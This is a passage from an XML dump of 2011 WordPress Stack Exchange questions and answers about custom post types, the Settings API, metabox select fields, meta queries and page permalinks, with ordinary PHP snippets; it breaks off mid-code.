  <row Id="9771" PostTypeId="1" AcceptedAnswerId="9778" CreationDate="2011-02-18T20:53:37.863" Score="1" ViewCount="148" Body="&lt;p&gt;Sorry the question might not make sense. I basically have a custom post type called &quot;Projects&quot; and I need to create a way to filter attributes of the project like &quot;name&quot;, &quot;type&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I have a project type called airplane, and another project type called airplane. I would want to be able to search for all projects with the name airplane, and display those in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked into Taxonomies, but I do not know how to use them effectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2011-02-18T21:55:43.877" Title="How do I create filters for custom post types?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="3" />
  <row Id="9772" PostTypeId="2" ParentId="9771" CreationDate="2011-02-18T21:03:50.693" Score="0" ViewCount="" Body="&lt;p&gt;Simple as this:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;// default filter:&lt;br&gt;&#xA;apply_filters( 'your_filter_name', $val_to_filter );&lt;br&gt;&#xA;// or, make it more specific:&lt;br&gt;&#xA;apply_filters( 'your_filter_name_'.$val_to_filter, $val_to_filter );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add this somewhere before your register_post_type call, so it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;// assuming, you got an $args array to make it easy to handle:&lt;br&gt;&#xA;$args['name'] = apply_filters('your_name_filter', $args['name'] );&lt;br&gt;&#xA;$args['name'] = apply_filters('your_name_filter_'.$args['name'], $args['name']);&lt;br&gt;&#xA;$args['type'] = apply_filters('your_type_filter', $args['type']);&lt;br&gt;&#xA;$args['type'] = apply_filters('your_type_filter_'.$args['type'], $args['type']);&lt;br&gt;&#xA;$name = $args['name'];&lt;br&gt;&#xA;unset($args['name']);&lt;br&gt;&#xA;register_post_type( $name, $args );&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-18T21:03:50.693" CommentCount="3" />
  <row Id="9773" PostTypeId="2" ParentId="9771" CreationDate="2011-02-18T21:04:47.247" Score="1" ViewCount="" Body="&lt;p&gt;If I understand your description right, structure goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;custom post type&lt;/code&gt; &lt;em&gt;Project&lt;/em&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Type&lt;/em&gt; is &lt;code&gt;taxonomy&lt;/code&gt; associated with &lt;em&gt;Project&lt;/em&gt; &lt;code&gt;CPT&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Airplane&lt;/em&gt; is &lt;code&gt;term&lt;/code&gt; in &lt;em&gt;Type&lt;/em&gt; &lt;code&gt;taxonomy&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In current WP version you can query for this like (but will get changed in WP 3.1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'post_type' =&amp;gt; 'project','type' =&amp;gt; 'airplane' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;Taxonomy Parameters&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-18T21:04:47.247" />
  <row Id="9774" PostTypeId="1" AcceptedAnswerId="9829" CreationDate="2011-02-18T21:19:04.817" Score="1" ViewCount="386" Body="&lt;p&gt;The &lt;a href=&quot;http://wpengineer.com/2139/adding-settings-to-an-existing-page-using-the-settings-api/&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; is a convenient way to add administrative options.  Tutorials on the settings API hook register_setting to admin_init.  But what if you also want to programmatically change the same options outside of the Settings API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, use the Settings API to maintain a base value for option X.  In addition, each new post automatically increments option X via a direct update_option function call.  Unfortunately, if option X is registered, update_option triggers a call to the validation function associated with the registered setting. The validation fails &lt;del&gt;because the update_option argument isn't passed&lt;/del&gt; because I screw up the different validation required from the different sources of options change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where should register_setting for option X be hooked to allow option X also to be updated outside of the Settings API?  Alternatively, where should unregister_setting for option X be hooked to allow the direct update_option call to work without the Settings API sanitization/validation function call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;a href=&quot;http://wordpress.stackexchange.com/users/1468/t31os&quot;&gt;t31os&lt;/a&gt; below helpfully provided some illustrative code.  Here is a small addition to his code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function __construct() {&#xA;        add_action( 'admin_init', array( $this, 'admin_init' ) );&#xA;        add_action( 'admin_menu', array( $this, 'admin_menu' ) );&#xA;        add_action('add_meta_boxes', array( &amp;amp;$this, 'add_regtest_box' )); //added hook&#xA;        }   &#xA;&#xA;//added functions&#xA;    function add_regtest_box() {&#xA;            global $post;&#xA;            add_meta_box( 'regtest_box', 'Registered Setting Test', array( &amp;amp;$this, 'regtest_box_contents'), 'post' , 'side' , 'high' );&#xA;        }   &#xA;    function regtest_box_contents() {&#xA;            update_option( 'test-option', array('fieldone'=&amp;gt;-11,'fieldtwo'=&amp;gt;8) );&#xA;            $new_vals = get_option( 'test-option' );&#xA;            print_r( $new_vals );&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you &quot;add new post&quot; from the dashboard, you'll notice that the metabox on the top right shows fieldone with a value of 11, not -11.  That's because the update_option function call in regtest_box_contents is putting the option values through the sanitizing/validating function that was registered (register_setting) to the option. In this case, that's t31os's update_option function, which applies absint() to the option value passed through. The question is how to avoid that function call, e.g. just have the option updated to -11.&lt;/p&gt;&#xA;" OwnerUserId="3202" LastEditorUserId="3202" LastEditorDisplayName="" LastEditDate="2011-02-22T17:24:35.753" LastActivityDate="2011-02-22T18:01:09.573" Title="Where to hook register_settings for Settings API when also want to update options outside of Settings API?" Tags="&lt;options&gt;&lt;settings&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="9775" PostTypeId="1" AcceptedAnswerId="9786" CreationDate="2011-02-18T21:25:32.063" Score="1" ViewCount="1616" Body="&lt;p&gt;How can I edit a user profile in the front end with a form?&lt;br&gt;&#xA;first name, last name, username, email address and password&lt;/p&gt;&#xA;" OwnerUserId="2107" LastEditorUserId="2107" LastEditorDisplayName="" LastEditDate="2011-02-18T23:37:43.667" LastActivityDate="2011-08-30T06:15:11.443" Title="How to edit a user profile on the front end?" Tags="&lt;form&gt;&lt;front-end&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="5" />
  <row Id="9776" PostTypeId="1" AcceptedAnswerId="15206" CreationDate="2011-02-18T21:41:55.450" Score="0" ViewCount="210" Body="&lt;p&gt;I'm trying to create a filter using two meta_values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example.&#xA;If the current page has meta values red and blue, only display queried pages that have both red and blue and none that have just red or just blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this could be accomplished with two meta values &lt;code&gt;'meta_value' =&amp;gt; $red, $blue&lt;/code&gt; but apparently it's not available. Below is where I found myself before the block. I've done a ton of research and simply can't find a method that works. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$red = get_post_meta($post-&amp;gt;ID, 'red', true);&#xA;$blue = get_post_meta($post-&amp;gt;ID, 'blue', true);&#xA;$args = array(&#xA;'post_type' =&amp;gt; page,&#xA;'nopaging' =&amp;gt; true,&#xA;'post_parent' =&amp;gt; 1440,&#xA;'meta_value' =&amp;gt; $red, $blue&#xA;);&#xA;&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-02-18T22:02:15.730" LastActivityDate="2011-04-20T11:03:29.190" Title="Filtering multiple meta_values" Tags="&lt;post-meta&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="9777" PostTypeId="2" ParentId="9774" CreationDate="2011-02-18T21:45:31.080" Score="1" ViewCount="" Body="&lt;p&gt;Could you not just fire your action on init instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The requirement to update options is still the same(only admins can &lt;code&gt;manage_options&lt;/code&gt;), so it should work in theory, have you tried it, was their a problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not at my main PC right now, else i'd give it a shot myself to see if it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did you mean here..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The validation fails because the update_option argument isn't passed. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd have asked in a comment, but i've not hit the rep requirement on this account yet.&lt;/p&gt;&#xA;" OwnerUserId="2962" LastActivityDate="2011-02-18T21:45:31.080" CommentCount="10" />
  <row Id="9778" PostTypeId="2" ParentId="9771" CreationDate="2011-02-18T21:55:43.877" Score="0" ViewCount="" Body="&lt;p&gt;This is how I did it. If you have your custom post type as &quot;projects&quot;, and your category as &quot;airplane&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not planning on using the pre-build loop you would make another one called loop-projects.php. However, it's not necessary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;               &amp;lt;?php&#xA;                $args = array(&#xA;                    'numberposts'    =&amp;gt; 5,&#xA;                    'post_type'      =&amp;gt; 'projects',&#xA;                    'category_name'  =&amp;gt; 'airplane');&#xA;                query_posts( $args );&#xA;                get_template_part( 'loop', 'projects' );&#xA;                wp_reset_query();&#xA;              ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-02-18T21:55:43.877" CommentCount="1" />
  <row Id="9779" PostTypeId="1" AcceptedAnswerId="9784" CreationDate="2011-02-18T21:59:21.690" Score="0" ViewCount="391" Body="&lt;p&gt;I'm using a metabox script that works great for having absolute control over the design and placement of the metabox fields. There is one problem: I can't remember where I found the script and need to add a select box. This script does not use arrays as most metabox scripts do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What function can I use to sucessfully add a select box?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add the Inventory Meta Boxes&#xA;&#xA;function add_inventory_metaboxes() {&#xA;    add_meta_box('inventory_information', 'Inventory Information', 'inventory_information', 'inventory', 'side', 'default');&#xA;}&#xA;&#xA;// The Event Location Metabox&#xA;&#xA;function inventory_information() {&#xA;    global $post;&#xA;&#xA;    // Noncename needed to verify where the data originated&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;inventorymeta_noncename&quot; id=&quot;inventorymeta_noncename&quot; value=&quot;' .&#xA;    wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';&#xA;&#xA;    // Get the location data if its already been entered&#xA;    $stocknum = get_post_meta($post-&amp;gt;ID, '_dappcf_i_stocknum', true);&#xA;    $vin = get_post_meta($post-&amp;gt;ID, '_dappcf_i_vin', true);&#xA;    $saleprice = get_post_meta($post-&amp;gt;ID, '_dappcf_i_priceone', true);&#xA;    $internetprice = get_post_meta($post-&amp;gt;ID, '_dappcf_i_pricetwo', true);&#xA;    $milage = get_post_meta($post-&amp;gt;ID, '_dappcf_i_mileage', true);&#xA;    $carfaxurl = get_post_meta($post-&amp;gt;ID, '_dappcf_i_carfaxurl', true);&#xA;&#xA;    // Echo out the fields&#xA;    echo '&amp;lt;p&amp;gt;Stock #: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_stocknum&quot; value=&quot;' . $stocknum  . '&quot; class=&quot;widefat&quot; style=&quot;width:80px&quot; /&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &#xA;        Milage: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_mileage&quot; value=&quot;' . $milage  . '&quot; class=&quot;widefat&quot;  style=&quot;width:80px&quot; /&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &#xA;        VIN: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_vin&quot; value=&quot;' . $vin  . '&quot; class=&quot;widefat&quot;  style=&quot;width:200px&quot; /&amp;gt;';&#xA;    echo '&amp;lt;p&amp;gt;Sale Price: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_priceone&quot; value=&quot;' . $saleprice  . '&quot; class=&quot;widefat&quot;  style=&quot;width:80px&quot; /&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &#xA;        Internet Price: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_pricetwo&quot; value=&quot;' . $internetprice  . '&quot; class=&quot;widefat&quot;  style=&quot;width:80px&quot; /&amp;gt;';&#xA;    echo '&amp;lt;p&amp;gt;CarFax url: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_carfaxurl&quot; value=&quot;' . $carfaxurl  . '&quot; class=&quot;widefat&quot;  style=&quot;width:170px&quot; /&amp;gt;';&#xA;}&#xA;&#xA;// Save the Metabox Data&#xA;&#xA;function txpbs_save_events_meta($post_id, $post) {&#xA;&#xA;    // verify this came from the our screen and with proper authorization,&#xA;    // because save_post can be triggered at other times&#xA;    if ( !wp_verify_nonce( $_POST['inventorymeta_noncename'], plugin_basename(__FILE__) )) {&#xA;    return $post-&amp;gt;ID;&#xA;    }&#xA;&#xA;    // Is the user allowed to edit the post or page?&#xA;    if ( !current_user_can( 'edit_post', $post-&amp;gt;ID ))&#xA;        return $post-&amp;gt;ID;&#xA;&#xA;    // OK, we're authenticated: we need to find and save the data&#xA;    // We'll put it into an array to make it easier to loop though.&#xA;&#xA;    $station_meta['_dappcf_i_stocknum'] = $_POST['_dappcf_i_stocknum'];&#xA;    $station_meta['_dappcf_i_vin'] = $_POST['_dappcf_i_vin'];&#xA;    $station_meta['_dappcf_i_priceone'] = $_POST['_dappcf_i_priceone'];&#xA;    $station_meta['_dappcf_i_pricetwo'] = $_POST['_dappcf_i_pricetwo'];&#xA;    $station_meta['_dappcf_i_mileage'] = $_POST['_dappcf_i_mileage'];&#xA;    $station_meta['_dappcf_i_carfaxurl'] = $_POST['_dappcf_i_carfaxurl'];&#xA;&#xA;    // Add values of $station_meta as custom fields&#xA;&#xA;    foreach ($station_meta as $key =&amp;gt; $value) { // Cycle through the $station_meta array!&#xA;        if( $post-&amp;gt;post_type == 'revision' ) return; // Don't store custom data twice&#xA;        $value = implode(',', (array)$value); // If $value is an array, make it a CSV (unlikely)&#xA;        if(get_post_meta($post-&amp;gt;ID, $key, FALSE)) { // If the custom field already has a value&#xA;            update_post_meta($post-&amp;gt;ID, $key, $value);&#xA;        } else { // If the custom field doesn't have a value&#xA;            add_post_meta($post-&amp;gt;ID, $key, $value);&#xA;        }&#xA;        if(!$value) delete_post_meta($post-&amp;gt;ID, $key); // Delete if blank&#xA;    }&#xA;&#xA;}&#xA;&#xA;add_action('save_post', 'txpbs_save_events_meta', 1, 2); // save the custom fields&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-02-19T00:39:41.057" Title="How to add a select menu to this metabox code?" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="9781" PostTypeId="1" CreationDate="2011-02-18T22:08:37.597" Score="0" ViewCount="218" Body="&lt;p&gt;I would like to make it so the URLs of my pages (created in the Wordpress dashboard) show up right after the domain name instead of after the blog directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed Wordpress in a directory called &lt;strong&gt;blog&lt;/strong&gt; which is located in the &lt;strong&gt;public_html&lt;/strong&gt; directory. When I make a &lt;em&gt;page&lt;/em&gt; from the Wordpress dashboard it will by default appear under the blog directory like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.site.com/blog/page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is take advantage of Wordpress's built in 'pretty URL' styling but use them outside of the &lt;strong&gt;blog&lt;/strong&gt; directory where Wordpress is installed. So for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.site.com/page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to manually create a page, add it in public_html directory and view it on my site it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.site.com/page.html &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't like the trailing &lt;code&gt;.html&lt;/code&gt; because it is not clean looking and just extra unneeded info for the visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;UPDATE:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that I would also like to keep the URLs of each &lt;em&gt;post&lt;/em&gt; looking like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.site.com/blog/post&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to sum it up:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I make my Wordpress &lt;em&gt;page&lt;/em&gt; URLs look like&lt;/strong&gt; &lt;code&gt;www.site.com/page&lt;/code&gt; &lt;strong&gt;while having my Wordpress installed in&lt;/strong&gt; &lt;code&gt;www.site.com/blog&lt;/code&gt; &lt;strong&gt;as well as having my &lt;em&gt;post&lt;/em&gt; URLs looking like&lt;/strong&gt; &lt;code&gt;www.site.com/blog/post&lt;/code&gt; &lt;strong&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-02-24T22:59:10.057" Title="How do I make page URLs look like &quot;www.site.com/page&quot; instead of &quot;www.site.com/blog/page&quot; but have post URLs stay &quot;www.site.com/blog/post&quot;?" Tags="&lt;url-rewriting&gt;&lt;page&gt;&lt;urls&gt;&lt;pages&gt;" AnswerCount="3" />
  <row Id="9782" PostTypeId="1" AcceptedAnswerId="9783" CreationDate="2011-02-19T00:09:13.270" Score="1" ViewCount="84" Body="&lt;p&gt;I am signing up to add a widget to wordpress.org here: &lt;a href=&quot;http://wordpress.org/extend/plugins/add/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/add/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I put for the field &quot;Plugin URL&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would that URL be the svn repository I am currently hosting my widget (a personal svn repo)  or would that be a URL of a website where the widget is being used?&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-02-19T06:38:22.770" Title="Adding a Widget : what to put in plugin URL" Tags="&lt;widgets&gt;" AnswerCount="2" />
  <row Id="9783" PostTypeId="2" ParentId="9782" CreationDate="2011-02-19T00:18:52.700" Score="2" ViewCount="" Body="&lt;p&gt;When adding a plugin to WordPress.org plugin repository you need to host the plugin somewhere (anywhere) and that is the &quot;Plugin URL&quot; so the good guys at WordPress could download it, test it and approve it to be listed.&#xA;so just upload it to your host and enter the url to the zip file.&#xA;Once it gets approved you will get access to &lt;a href=&quot;http://plugins.svn.wordpress.org/your_plugin_name/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/your_plugin_name/&lt;/a&gt; using your WordPress.org user name and password.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Here's some handy links to help you&#xA;  get started.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Using Subversion with the WordPress&#xA;  Plugins Directory&#xA;  &lt;a href=&quot;http://wordpress.org/extend/plugins/about/svn/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/about/svn/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;FAQ about the WordPress Plugins&#xA;  Directory&#xA;  &lt;a href=&quot;http://wordpress.org/extend/plugins/about/faq/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/about/faq/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;WordPress Plugins Directory readme.txt&#xA;  standard&#xA;  &lt;a href=&quot;http://wordpress.org/extend/plugins/about/readme.txt&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/about/readme.txt&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;readme.txt validator:&#xA;  &lt;a href=&quot;http://wordpress.org/extend/plugins/about/validator/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/about/validator/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;this is what you get in the &quot;WordPress.org Plugins Request Approved&quot; email notification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope This helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-19T00:18:52.700" />
  <row Id="9784" PostTypeId="2" ParentId="9779" CreationDate="2011-02-19T00:39:41.057" Score="2" ViewCount="" Body="&lt;p&gt;Basically you need to add the html of the select dropdown at your &lt;code&gt;function inventory_information()&lt;/code&gt; which is the function that actually displays the metabox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The Event Location Metabox&#xA;&#xA;        function inventory_information() {&#xA;            global $post;&#xA;&#xA;            // Noncename needed to verify where the data originated&#xA;            echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;inventorymeta_noncename&quot; id=&quot;inventorymeta_noncename&quot; value=&quot;' .&#xA;            wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';&#xA;&#xA;            // Get the location data if its already been entered&#xA;            $stocknum = get_post_meta($post-&amp;gt;ID, '_dappcf_i_stocknum', true);&#xA;            $vin = get_post_meta($post-&amp;gt;ID, '_dappcf_i_vin', true);&#xA;            $saleprice = get_post_meta($post-&amp;gt;ID, '_dappcf_i_priceone', true);&#xA;            $internetprice = get_post_meta($post-&amp;gt;ID, '_dappcf_i_pricetwo', true);&#xA;            $milage = get_post_meta($post-&amp;gt;ID, '_dappcf_i_mileage', true);&#xA;            $carfaxurl = get_post_meta($post-&amp;gt;ID, '_dappcf_i_carfaxurl', true);&#xA;&#xA;            //here you add the dropdown as value if already set so you add something like&#xA;            $my_dropdown = get_post_meta($post-&amp;gt;ID, '_dappcf_i_dropdown', true);&#xA;&#xA;            // Echo out the fields&#xA;            echo '&amp;lt;p&amp;gt;Stock #: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_stocknum&quot; value=&quot;' . $stocknum  . '&quot; class=&quot;widefat&quot; style=&quot;width:80px&quot; /&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &#xA;                Milage: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_mileage&quot; value=&quot;' . $milage  . '&quot; class=&quot;widefat&quot;  style=&quot;width:80px&quot; /&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &#xA;                VIN: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_vin&quot; value=&quot;' . $vin  . '&quot; class=&quot;widefat&quot;  style=&quot;width:200px&quot; /&amp;gt;';&#xA;            echo '&amp;lt;p&amp;gt;Sale Price: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_priceone&quot; value=&quot;' . $saleprice  . '&quot; class=&quot;widefat&quot;  style=&quot;width:80px&quot; /&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &#xA;                Internet Price: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_pricetwo&quot; value=&quot;' . $internetprice  . '&quot; class=&quot;widefat&quot;  style=&quot;width:80px&quot; /&amp;gt;';&#xA;            echo '&amp;lt;p&amp;gt;CarFax url: &amp;lt;input type=&quot;text&quot; name=&quot;_dappcf_i_carfaxurl&quot; value=&quot;' . $carfaxurl  . '&quot; class=&quot;widefat&quot;  style=&quot;width:170px&quot; /&amp;gt;';&#xA;&#xA;            //here you add the HTML of the dropdown you add something like&#xA;            echo '&amp;lt;p&amp;gt;Select menu: &amp;lt;select name=&quot;_dappcf_i_dropdown&quot; class=&quot;widefat&quot;&amp;gt;';&#xA;            echo '&amp;lt;option value=&quot;1&quot;'. $my_dropdown == &quot;1&quot; ? ' selected=&quot;selected&quot;' : ''. '&amp;gt;' . 'Option 1'. '&amp;lt;/option&amp;gt;';&#xA;            echo '&amp;lt;option value=&quot;2&quot;'. $my_dropdown == &quot;2&quot; ? ' selected=&quot;selected&quot;' : ''. '&amp;gt;' . 'Option 2'. '&amp;lt;/option&amp;gt;'; &#xA;            echo '&amp;lt;option value=&quot;3&quot;'. $my_dropdown == &quot;3&quot; ? ' selected=&quot;selected&quot;' : ''. '&amp;gt;' . 'Option 3'. '&amp;lt;/option&amp;gt;'; &#xA;            echo '&amp;lt;option value=&quot;4&quot;'. $my_dropdown == &quot;4&quot; ? ' selected=&quot;selected&quot;' : ''. '&amp;gt;' . 'Option 4'. '&amp;lt;/option&amp;gt;'; &#xA;&#xA;            //add as many as you need here&#xA;&#xA;            echo '&amp;lt;/select&amp;gt;';&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then just add that field to your metabox save function which is  &lt;code&gt;txpbs_save_events_meta&lt;/code&gt; so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Save the Metabox Data&#xA;&#xA;        function txpbs_save_events_meta($post_id, $post) {&#xA;&#xA;            // verify this came from the our screen and with proper authorization,&#xA;            // because save_post can be triggered at other times&#xA;            if ( !wp_verify_nonce( $_POST['inventorymeta_noncename'], plugin_basename(__FILE__) )) {&#xA;            return $post-&amp;gt;ID;&#xA;            }&#xA;&#xA;            // Is the user allowed to edit the post or page?&#xA;            if ( !current_user_can( 'edit_post', $post-&amp;gt;ID ))&#xA;                return $post-&amp;gt;ID;&#xA;&#xA;            // OK, we're authenticated: we need to find and save the data&#xA;            // We'll put it into an array to make it easier to loop though.&#xA;&#xA;            $station_meta['_dappcf_i_stocknum'] = $_POST['_dappcf_i_stocknum'];&#xA;            $station_meta['_dappcf_i_vin'] = $_POST['_dappcf_i_vin'];&#xA;            $station_meta['_dappcf_i_priceone'] = $_POST['_dappcf_i_priceone'];&#xA;            $station_meta['_dappcf_i_pricetwo'] = $_POST['_dappcf_i_pricetwo'];&#xA;            $station_meta['_dappcf_i_mileage'] = $_POST['_dappcf_i_mileage'];&#xA;            $station_meta['_dappcf_i_carfaxurl'] = $_POST['_dappcf_i_carfaxurl'];&#xA;&#xA;            //here just add the dropdown field to the $station_meta array from the $_POST&#xA;            $station_meta['_dappcf_i_dropdown'] = $_POST['_dappcf_i_dropdown'];&#xA;&#xA;&#xA;            // Add values of $station_meta as custom fields&#xA;&#xA;            foreach ($station_meta as $key =&amp;gt; $value) { // Cycle through the $station_meta array!&#xA;                if( $post-&amp;gt;post_type == 'revision' ) return; // Don't store custom data twice&#xA;                $value = implode(',', (array)$value); // If $value is an array, make it a CSV (unlikely)&#xA;                if(get_post_meta($post-&amp;gt;ID, $key, FALSE)) { // If the custom field already has a value&#xA;                    update_post_meta($post-&amp;gt;ID, $key, $value);&#xA;                } else { // If the custom field doesn't have a value&#xA;                    add_post_meta($post-&amp;gt;ID, $key, $value);&#xA;                }&#xA;                if(!$value) delete_post_meta($post-&amp;gt;ID, $key); // Delete if blank&#xA;            }&#xA;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-19T00:39:41.057" CommentCount="6" />
  <row Id="9785" PostTypeId="1" CreationDate="2011-02-19T00:55:44.303" Score="0" ViewCount="239" Body="&lt;p&gt;I've found this question useful &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5505/rename-files-during-upload-using-variables&quot;&gt;rename files during upload using variables (1)&lt;/a&gt; but to suit my needs, I'm just wondering if somebody can point out to me please on how I can rename the file to &lt;strong&gt;product-post_id.jpg&lt;/strong&gt; in the code below...I think this will solve my problem in image url containing &quot;%&quot; in them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/**&#xA; * Cache image from provided URL&#xA; *&#xA; * Add image to media library and&#xA; * replace all occurences of it&#xA;/**&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function cache_images_cache_image($url, $postid) {&#xA;    global $wpdb;&#xA;    $orig_url = $url;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//check if pic is on Blogger&#xA;if (strpos($url, 'blogspot.com') || strpos($url, 'blogger.com') || strpos($url, 'ggpht.com') || strpos($url, 'googleusercontent.com') || strpos($url, 'gstatic.com')) {&#xA;    $response = wp_remote_request($url);&#xA;    if ( is_wp_error( $response ) )&#xA;        return 'error1';&#xA;&#xA;    $my_body = wp_remote_retrieve_body($response);&#xA;&#xA;    if (strpos($my_body, 'src')) {&#xA;        